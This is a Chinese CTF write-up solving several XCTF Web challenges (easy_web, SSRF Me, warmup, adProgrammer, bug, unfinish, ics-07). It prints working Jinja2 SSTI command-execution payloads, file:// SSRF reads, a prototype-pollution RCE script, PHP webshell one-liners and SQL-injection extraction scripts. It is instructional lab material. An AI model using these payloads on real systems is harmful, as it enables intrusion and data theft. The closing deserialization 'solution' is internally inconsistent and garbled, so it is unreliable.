攻防世界Web题wp解析(难度5)

easy_web

打开页面就是一个简单的字符规范器  

用扫描也没扫描到什么有用的东西 查看源码也没发现什么 那我们只能抓包看看

python的后端,就想到了SSTI模板注入

我们试试输入{{1}}(基于jinja2)

大概意思就是您的内容包含限制字符 说明可能过滤了{}这样的字符

对输入框进行模糊测试

ascii中 33-127的所有字符(特殊符号,字母大小写,数字)基本都被过滤了

那我们就尝试使用没有过滤的字符

符号大全网址:符号大全-特殊符号-特殊符号大全

直接输入 { 会被过滤掉,因此我们可以输入 ︷

非常好用的ssti模板注入payload

{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}

那我们给个大佬的python脚本

"""

{ -> ︷/﹛

} -> ︸/﹜

' -> '

, -> ,

"""

str='{{\'\'.__class__.__mro__[1].__subclasses__()[91].get_data(0,\'/flag\')}}' #原字符串





#如果需要替换replace(被替换的字符,替换后的字符)

str=str.replace('{','︷')

str=str.replace('}','︸')

str=str.replace('\'',''')



print(str)

 

新payload:︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸

 

查找flag

paylaod

︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸

 

在根目录下发现flag

paylaod替换后为

︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸

总结:

SSTI模板注入

安全研究员给出的几个常见Payload

1、python2

文件读取和写入

#读文件

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

#写文件

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

任意执行

每次执行都要先写然后编译执行

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  

{{ config.from_pyfile('/tmp/owned.cfg') }}  

1

2

2、python3

因为python3没有file了,所以用的是open

#文件读取

http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}

#任意执行

http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

#命令执行:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

#文件操作

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

题目名称-SSRF Me

打开页面得到的是一个输入页面 包含输入的url和验证码

这里的关键就是解密这个验证码 那我们先理解一下这个substr()函数

2.substr

PHP中的substr函数是用于获取字符串子串的函数,其语法如下:

substr(string $string, int $start, int|null $length = null): string|false

其中,参数解释如下:

$string:必选参数,表示要截取的原始字符串,可以是任意类型的字符串;

$start:必选参数,表示截取的起始位置,可以是正数、负数,也可以是0;

$length:可选参数,表示截取的长度,可以是正整数或者null。如果不指定,则截取到字符串末尾,如果为负数,则表示从字符串末尾倒数的长度。

该函数的返回值为截取的子串,如果发生错误则返回false。

示例:

$str = "Hello world";

echo substr($str, 0, 5);   // 输出Hello

echo substr($str, 6);      // 输出world

echo substr($str, -5);     // 输出world

echo substr($str, 0, -6);  // 输出Hello

需要注意的是,当s t a r t 参数为负数时,它表示从字符串末尾倒数的位置,例如,当 start参数为负数时,它表示从字符串末尾倒数的位置,例如,当start参数为负数时,它表示从字符串末尾倒数的位置,例如,当start为-5时,表示从字符串末尾第5个位置开始截取,长度为l e n g t h 。而当 length。而当length。而当length参数为负数时,将导致函数返回false。同时,如果$length参数指定的截取长度大于原字符串长度,那么函数会截取整个字符串。

然后我们就可以用py脚本进行解密

//substr(md5(captcha), -6, 6) == "13e7ef"

<?php

$captcha=0;

while(true)

{

if(substr(md5($captcha), -6, 6) == "bbaddc")   //bbaddc会变

{

echo $captcha;

break;

}

$captcha++;



}

?>

 

得到验证码为71364

然后题目提示为ssrf漏洞 那我们就采用file://协议进行文件读取

Payload:file:///etc/passwd

 

发现可以成功 那我们就直接读取flag

发现flag被过滤了,把flag进行URL编码,在进行测试

Payload:file:///%66%6c%61%67

得到flag

注意:用bp做的话要双重url编码

题目名称-warmup

打开页面是个登入页面 试了试弱口令没啥用 我们下载他的附件查看源代码

我们发现了两个主要的东西

  1. 防止万能密钥登入
  2. 发现了cookie这个重要的东西

我们使用bp抓包然后发现了一串base64字符串

然后我们解密得到一串序列化的字符串

我们查看下下一个conn.php

最关键点在这个waf上

可以看到用户名密码进行了转义过滤

审计代码得

1.在Cookie中存在序列化字符串,用来记录访问者IP

2.前端传入username,password时,首先会被转义再进行过滤,只能使用 ’ 符号

3.在conn.php文件中存在一个SQL方法,其中waf过滤函数将table,username,password参数都进行了过滤,但是table参数没有进行addslashes()函数转义处理

过滤比较严格,但是我们可以在table处使用子查询,绕过过滤。

从 index.php 中可以看出正常传参是会被 addslashes 函数转义的。

那么我们可以 利用 cookie 反序列化直接调用 SQL 类,waf 里面并没有过滤单引号,可以直接用万能密码完成注入。

后面还会判断 ip 值,反序列化后是否为数组,我们可以利用 GC 回收机制,在 if 判断前就完成 __wakeup 的调用。

php脚本

<?php

class SQL {

}

$sql = new SQL();

$sql->table = 'users';

$sql->username = '';

$sql->password = "' or '1'='1";

$poc = array($sql,1);

echo base64_encode(str_replace('i:1','i:0',serialize($poc)));

进行payload

O:3:"SQL":4:{s:5:"table";s:41:"(select 'admin' username,'123' password)a";s:8:"username";s:5:"admin";s:8:"password";s:3:"123";s:4:"conn";N;}}

然后对它进行base64编码为

TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDE6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnMTIzJyBwYXNzd29yZClhIjtzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czo0OiJjb25uIjtOO319

将其写入last_login_info 得到flag

adProgrammer

打开页面

没啥发现 扫描一下 

发现路径/static..路径 这很有可能是Nginx错误配置导致的文件读取漏洞

我们打开路径

果然发现了源码app.js 我们打开看看‘

出现expres-fileupload和flag.ejs 我们先找找flag.ejs

发现flag是存在于flag.txt里面而不是flag.ejs

我们抓包也发现了这个express

查看package.json文件,发现引用express-fileupload版本为1.1.7-alpha.4,此版本存在CVE-2020-7699,原型链污染漏洞。

具体链接;CVE-2020-7699漏洞分析 - FreeBuf网络安全行业门户

配合ejs模板引擎进行RCE

通过污染ejs中outputFunctionName变量,实现RCE:

import requests



resp1 = requests.post("http://{}:{}/{}".format('61.147.171.105', '56381', '4_pATh_y0u_CaNN07_Gu3ss'),

        files={'__proto__.outputFunctionName':

        (

            None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/js/flag.txt')

        )})



print(resp1)

 

flag在/flag.txt,需要通过命令执行将其拷贝到可访问到的位置。

观察package.json中,可知服务路径为/app

所以我们只需通过RCE执行

cp /flag.txt /app/static/js/flag.txt

再访问http://IP:PORT/static/js/flag.txt即可得到flag。

babyweb

打开页面 扫描无果

题目提示内网访问 那我们就输入ssrf.php试试

然后我们利用file://伪协议读取就行

Payload:file:///etc/passwd

 

竟然可以 那么直接读取flag

Paylaod: file:///flag

 

bug

打开页面就是一个登入页面 有注册和修改密码 这应该就是越权

越权渗透是指黑客利用系统漏洞或者密码破解等手段,未经授权地进入目标系统获得权限。具体而言,越权渗透可以包括以下几种形式:

弱口令攻击:黑客通过暴力破解或者社工攻击等手段获取系统账号和密码,从而进入目标系统。

缓冲区溢出攻击:黑客利用系统中存在的缓冲区溢出漏洞,向目标系统注入恶意代码,从而获得系统权限。

SQL注入攻击:黑客利用目标系统中存在的SQL注入漏洞,通过注入恶意SQL语句获取系统权限。

我们随便注册一个账号 然后登入进去

点击管理(manage)没权限

想到开始页面也有一个修改密码,这里有一个username,改为admin

进行admin登录

继续尝试访问manage页面,但提示ip不允许

尝试通过X-Forwarded-For:127.0.0.1来伪造ip

发包得到

在repeter里面发现主要信息

ctf总共就几个知识点,猜测xss,sql,ssrf,upload 盲猜是uplaod

Payload:index.php?module=filemanage&do=upload

得到文件上传界面 说明我们的思路是正确的

我们尝试上传一个php文件

它显示是一个php文件 那就说明思路没问题 很有可能就是上传的一句话木马有问题 我们尝试采用php拓展名 php5进行绕过

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht)

它提示是个image的type 我们进行mime检测绕过 修改类型就可以 

又是提示是个php文件 那就可以说明写入的一句话木马有问题 我们尝试写入js一句话代替(利用JavaScript执行php代码(正常的php代码会被检测到,所以就考虑用JavaScript来执行)

一句哈木马内容:

<script language="php"> @eval$_POST['cmd']); </script>

得到flag

总结:

  1. 越权渗透
  2. IP绕过
  3. 文件上传漏洞(mime检测,拓展名绕过 js执行php代码)

unfinish

打开页面是个登入页面 根据题目提示sql注入 我们对邮箱和密码都分别进行注入无果 然后采用dirsearch扫描一下发现有个register.php文件路径

我们登入试试

我们发现在username这里发现可以注入(回显的页面跟email注入和passwd注入不同)

找到了测试点 那我们进行注入 发现很多都被过滤了 那我们进行fuzz测试一下

果然大多数注入的字符都被过滤 那使用sqlmap估计是i行不通的 这时候参考大佬的wp发现使用0’+1+'0作为用户名,在注册的时候,猜想使用sql语句插入到表中

insert into tables values('$email','$username','$password')

在插入中将0’+1+‘0插入,取的时候,MySQL语言的一种特性,就是+在MySQL中是作为运算符的,

利用这个特性,我们可以构造payload:0’+ascii(substr((select * from flag),1,1))+‘0这样我们就可以得到flag表(这个表名是猜的,一般CTF的注入题,如果不特别提示表名的话,表名都是flag)查询结果的第一个字符的ascii码,但是之前FUZZ时已经发现,被过滤,查询资料后发现可以用from * for *代替,所以我们的最终payload为

0’+ascii(substr((select * from flag) from 1 for 1))+'0。

这样的话 我们就可以采用二次注入脚本解题

import requests, re



# 拿到登录页面的url和注册页面的url

login_url = 'http://61.147.171.105:61507/login.php'

register_url = 'http://61.147.171.105:61507/register.php'

flag = ''



# 每次注册一个账户,拿到数据库中的一个字符

for i in range(1, 100):

    # 注册时候的payload数据

    register_data = {

        'email': 'test%d123.com' % i,

        'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,

        'password': '123'

    }

    # post提交注册payload

    res = requests.post(url=register_url, data=register_data)



    # 登录时候的payload数据

    login_data = {

        'email': 'test%d123.com' % i,

        'password': '123'

    }

    # post提交登录payload

    res = requests.post(url=login_url, data=login_data)



    # 使用正则匹配,找到前端的回显数据

    num = re.search('<span class="user-name">\n(.*?)</span>', res.text)

    # 将拿到的ascii转码,还原成存储的数据

    flag += chr(int(num.group(1).strip()))

print(flag)

 

这一关还可以使用时间盲注 下面是脚本

import requests

import sys

url='http://61.147.171.105:61507/register.php'

flag=''

#爆数据库sql="1' and (select case when ascii(substr(database() from {0} for 1))={1} then sleep(5) else 1 end) or ''='"

sql="1' and (select case when ascii(substr((select * from flag) from {0} for 1))={1} then sleep(5) else 1 end) or ''='"

for i in range(1,50):

print('guess:',str(i))

for ch in range(32,129):

if ch==128:

sys.exit(0)

sqli=sql.format(i,ch)

data={

"email":"1971535058@qq.com",

"username":sqli,

"password":"admin"

}

try:

html=requests.post(url,data=data,timeout=3)

except:

flag+=chr(ch)

print(flag)

break

最终也可爆出flag

ics-07

打开页面只有管理中心打的开

这里我得到两个重要信息

(1)又可能是文件读取漏洞

  1. 看源码

点击进入是一段代码

我们进行代码审计

  1. 如果传入的参数page的值不是index.php,则包含flag.php,否则重定向到?page=flag.php。
  1. 判断session是不是admin,然后获取到一些值(应该就是我们post传上去的),如果匹配到php3457,pht,phtml这种特殊的后缀名,那么就结束。如果没有匹配到,那么就写入文件uploaded/backup正则的话是判断.之后的字符,因此我们可以利用‘/.’的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的。

3.这一段可以使$_SESSION[\'admin\'] = True;我们来看一下怎么构造。他需要获取一个id参数, 并且id不为1,且最后一位等于9。

这里用到了floatval这个函数,floatval 函数用于获取变量的浮点值,但是floatval在遇到字符时会截断后面的部分,比如-,+,空格等,所以可以构造id=1xx9来满足第一个if条件,if条件满足可以使得$result变量为TRUE。成功使$_SESSION[\'admin\'] = True;

 

分析:

综合上面三段代码进行分析

第一段是个简单的重定向,get参数page不为index.php即可

第二段 需要得到一个admin的session,之后可以post传入con与file两个参数

File参数是自定义的文件名字,之后会处理为backup/文件名

这里对文件名进行了过滤,防止后缀名是php等后缀名的文件。

上传成功后,会切换到uploaded目录,创建文件,并将con的内容写入,

那么实际文件的路径就是:uploaded/backup/xxx.xxx

第三段代码是对get参数id进行校验,如果id的浮点数不是1,且最后一位是9那么实行查询语句,如果查询正确,会得到一个admin的session

因此我们这里就需要满足所有需求

写一个payload获取 :

?page=flag.php&id=1xx9

 

构造 payload:上传木马

下面考虑如何上传木马文件。这里利用Linux的一个目录结构特性。我们递归的在1.php文件夹中再创建2.php,访问1.php/2.php/…进入的是1.php文件夹

payloa如下

con=<?php @eval($_POST[cmd]);?>&file=test.php/1.php/..

 

注意这里page参数的值不能为flag.php,否则是上传不成功的。

访问/uploaded/backup/目录,发现上传成功。

然后用蚁剑链接找到flag

checkInGame

burpsuite抓包,burpsuite不对包进行处理。然后在浏览器中做游戏,等到40秒过完时,点击确定,页面不会刷新,可以继续做,直到解出flag。

wzsc_文件上传

竞争上传 看愚公文章就饿可以了

【愚公系列】2023年06月 攻防世界-Web(wzsc_文件上传)_攻防世界 文件上传_愚公搬代码的博客-CSDN博客

这道是一个 PHP 反序列化的目。 目描述: 提示:这次不会那么简单了,打开源代码看看? 源代码: ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('flag','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } if(isset($_GET['a'])){ $a = unserialize($_GET['a']); if($a instanceof Flag){ echo $a; } } ``` 分析: 首先看到这是一个传入参数进行反序列化的目,传入参数为 $_GET['a'],并且在反序列化后判断其类型是否为 Flag,如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents('/flag'),意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中,会对 $this->show 变量进行正则匹配,匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\'|\"/i,如果匹配到就会输出 'hacker!'。这里需要注意的是,$this->show 的值是 Show 类的一个实例,而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 解法: 根据目分析,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例,该实例的 $name 值为一个正则表达式的匹配条件,然后将该实例作为 Flag 类的一个属性,最后将 Flag 类序列化即可。 构造序列化字符串的代码如下: ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('/show|flag|_|\s|\(|\)|{|}|\'|\"/i','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上,然后访问 http://your-ip/unserialize3.php,得到序列化后的字符串: ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|'|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET['a'] 的值传入即可,访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D,即可得到 flag。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值